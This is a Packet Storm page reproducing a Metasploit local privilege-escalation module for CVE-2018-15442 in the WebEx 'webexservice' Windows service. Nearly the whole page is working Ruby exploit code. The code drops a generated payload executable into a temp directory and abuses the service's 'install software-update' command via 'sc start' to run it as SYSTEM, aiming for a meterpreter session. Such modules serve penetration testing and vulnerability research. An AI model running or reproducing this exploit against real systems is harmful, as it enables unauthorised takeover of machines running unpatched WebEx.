Lucene search

K
packetstormJeff McJunkinPACKETSTORM:149945
HistoryOct 24, 2018 - 12:00 a.m.

WebEx Local Service Permissions Code Execution

2018-10-2400:00:00
Jeff McJunkin
packetstormsecurity.com
38

EPSS

0.109

Percentile

95.2%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::Accounts  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'WebEx Local Service Permissions Exploit',  
'Description' => %q{  
This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,  
can be used to run arbitrary commands locally, and can be started by limited users in  
default installations.  
},  
'References' =>  
[  
['URL', 'https://webexec.org'],  
['CVE', '2018-15442']  
],  
'DisclosureDate' => "Oct 09 2018",  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'  
],  
'Platform' => [ 'win'],  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'SessionTypes' => [ "meterpreter" ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'WfsDelay' => 5,  
'ReverseConnectRetries' => 255  
},  
'DefaultTarget' => 0  
))  
  
register_options([  
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])  
])  
@service_name = 'webexservice'  
end  
  
def validate_arch  
return target unless target.name == 'Automatic'  
  
case sysinfo['Architecture']  
when 'x86'  
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'  
vprint_status('Detected x86 system')  
return targets[1]  
when 'x64'  
vprint_status('Detected x64 system')  
return targets[2]  
end  
end  
  
def check_service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
vprint_warning("Unable to enumerate services.")  
return false  
end  
  
if srv_info && srv_info[:display].empty?  
vprint_warning("Service #{service} does not exist.")  
return false  
else  
return true  
end  
end  
  
def check  
unless check_service_exists?(@service_name)  
return Exploit::CheckCode::Safe  
end  
  
srv_info = service_info(@service_name)  
  
vprint_status(srv_info.to_s)  
  
case START_TYPE[srv_info[:starttype]]  
when 'Disabled'  
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")  
return Exploit::CheckCode::Safe  
when 'Manual'  
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")  
return Exploit::CheckCode::Safe  
when 'Auto'  
vprint_good("Service is set to Automatically start...")  
end  
  
if check_search_path  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Appears  
end  
  
def check_write_access(path)  
perm = check_dir_perms(path, @token)  
if perm and perm.include?('W')  
print_good("Write permissions in #{path} - #{perm}")  
return true  
elsif perm  
vprint_status ("Permissions for #{path} - #{perm}")  
else  
vprint_status ("No permissions for #{path}")  
end  
  
return false  
end  
  
  
def exploit  
begin  
@token = get_imperstoken  
rescue Rex::Post::Meterpreter::RequestError  
vprint_error("Error while using get_imperstoken: #{e}")  
end  
  
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token  
  
if is_system?  
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")  
end  
  
print_status("Checking service exists...")  
if !check_service_exists?(@service_name)  
fail_with(Failure::NoTarget, "The service doesn't exist.")  
end  
  
if is_uac_enabled?  
print_warning("UAC is enabled, may get false negatives on writable folders.")  
end  
  
# Use manually selected Dir  
file_path = datastore['DIR']  
  
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)  
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"  
  
service_information = service_info(@service_name)  
  
# Check architecture  
valid_arch = validate_arch  
exe = generate_payload_exe(:arch => valid_arch.arch)  
  
#  
# Drop the malicious executable into the path  
#  
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")  
begin  
write_file(@exe_file_path, exe)  
register_file_for_cleanup(@exe_file_path)  
rescue Rex::Post::Meterpreter::RequestError => e  
# Can't write the file, can't go on  
fail_with(Failure::Unknown, e.message)  
end  
  
#  
# Run the service  
#  
print_status("Launching service...")  
res = cmd_exec("cmd.exe",  
"/c sc start webexservice install software-update 1 #{@exe_file_path}")  
  
if service_restart(@service_name)  
print_status("Service started...")  
else  
service_information = service_info(@service_name)  
if service_information[:starttype] == START_TYPE_AUTO  
if job_id  
print_status("Unable to start service, handler running waiting for a reboot...")  
while(true)  
break if session_created?  
select(nil,nil,nil,1)  
end  
else  
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")  
end  
else  
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")  
end  
end  
end  
end  
  
`